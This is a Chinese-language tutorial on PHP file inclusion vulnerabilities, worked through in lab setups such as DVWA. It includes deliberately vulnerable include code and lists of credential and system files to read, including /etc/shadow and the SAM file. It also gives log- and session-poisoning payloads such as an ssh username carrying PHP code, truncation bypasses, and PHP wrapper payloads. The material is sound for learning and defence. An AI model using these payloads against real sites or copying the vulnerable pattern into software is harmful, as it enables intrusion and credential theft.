文件包含简介
服务器执行PHP
文件时,可以通过文件包含函数加载另一个文件中的PHP
代码,并且当PHP
来执行,这会为开发者节省大量的时间
文件包含函数
require()
require_once()
include()
include_once()
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行,而include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
文件包含漏洞
无限制本地文件包含漏洞
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
常见敏感文件目录:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
测试结果:
包含session文件
利用条件:
知道session
文件路径,在phpinfo()
里面可以看到
默认情况下,session.use_strict_mode
值是0
。此时用户是可以自己定义Session ID
的。比如,我们在Cookie
里设置PHPSESSID=ghtwf01
示例代码:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
查看一下生成的session
文件,phpinfo
成功写入
然后利用文件包含包含一下,当然也可以写入一句话getshell
以phpMyAdmin CVE-2018-12613为例包含session文件
首先进入执行SQL语言地方,执行如下操作
select '<?php phpinfo();?>'
打开F12
查看到session
名,完整的session
文件就是sess_session
名
phpstudy
里面默认session
存储位置是phpstudy
下tmp/tmp
,于是包含该session
文件
##包含图片马
一般用于文件上传,上传图片马后如果存在文件包含漏洞,那么就可以执行图片马里面的php
代码
##包含日志文件
(1)包含apache日志
进入一个网页,比如phpmyadmin
,burpsuite
抓包,在URL
栏添加一句话木马,这样它就会报错,并把报错语句(一句话木马)写入apache
日志
日志里面已经写入了phpinfo
,然后包含日志
但是我这个环境的日志不允许包含,所以没法执行代码,但是实战中就有可能权限允许包含
(2)包含ftp日志
ftp
连接时,用户名输入一句话木马
日志位置在/var/log/vsftpd.log
(3)包含ssh日志
ssh -p 22 "<?php phpinfo(); ?>"@目标ip地址
日志位置在/var/log/auth.log
(4)包含临时文件
##无限制远程文件包含
远程文件包含需要打开远程文件包含许可,即allow_url_include = On
##有限制文件包含绕过
(1)%00截断
条件:magic_quotes_gpc=off
php版本<5.3.4
测试代码
<?php
$filename = $_GET['filename'];
include($filename.".php");
?>
如果要包含1.txt
,它在后面自动加上.php
,所以包含的文件就是1.txt.php
,没有这个文件,所以采用%00
截断
(2)路径长度截断
Windows
下目录最大长度为256
字节,超出的部分会被丢弃
Linux
下目录最大长度为4096
字节,超出的部分会被丢弃
测试代码
<?php
$filename = $_GET['filename'];
include($filename.".php");
?>
exp:
.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
所以效果如下
(3)问号截断
测试代码
<?php
$filename = $_GET['filename'];
include($filename.".php");
?>
问号截断漏洞是针对远程文件包含的情况,在PHP
的配置文件中,打开远程文件包含许可,即allow_url_include = On
(4)#号绕过
测试代码
<?php
$filename = $_GET['filename'];
include($filename.".php");
?>
一样是需要打开远程文件包含
(5)空格绕过
测试代码
<?php
$filename = $_GET['filename'];
include($filename.".php");
?>
一样是需要打开远程文件包含
php伪协议
(1)php://filter
因为直接打开php
文件不会显示里面的代码,所以我们可以以base64
编码的方式读取指定文件的源码
php://filter/convert.base64-encode/resource=php文件名
base64解码即为源代码
(2)data://
利用data://
伪协议可以直接达到执行php
代码的效果
如果此处对特殊字符进行了过滤,我们还可以通过base64
编码后再输入(才发现php
代码里面加了分号的base64
无法执行)
(3)zip:// bzip2:// zlib://
zip://
执行压缩文件,如果网站允许我们上传压缩文件,我们也可以将php
文件压缩后进行上传,再通过zip://
协议执行,以dvwa
平台为例
然后包含
payload:http://127.0.0.1/zx/test.php?filename=zip://D:/Program%20Files/PHPTutorial/WWW/DVWA/hackable/uploads/phpinfo.zip%23phpinfo.php
bzip2://
压缩文件至xxx.bz2
并上传,访问的使用使用compress.bzip2://
zlib://
压缩文件至xxx.gz
并上传,访问的时候使用compress.zlib://
(4)php://input
我们可以利用这种方法直接写入文件,比较特殊的一点,enctype=multipart/form-data
的时候php://input
是无效的
发现shell.php已经写入到本地
(5)phar://
这个伪协议和zip://一样可以读取压缩包里面的内容,以刚才在dvwa
上传的zip
文件为例
(6)file://
这个伪协议是用来读文件内容的,需要加文件的绝对路径
##上述伪协议适用条件
php://
allow_url_fopen:off/on
仅php://input需要on(还有一些也需要on为了方便记忆就没写上去了)
data://
allow_url_fopen:on
allow_url_include :on
file://
allow_url_fopen:off/on
allow_url_include :off/on
zip:// bzip2:// zlib://
allow_url_fopen:off/on
allow_url_include :off/on
phar://
allow_url_fopen:off/on
allow_url_include :off/on
###参考链接
https://blog.youkuaiyun.com/Monsterlz123/article/details/93964916
https://www.freebuf.com/articles/web/182280.html
https://www.jianshu.com/p/3dc97deec491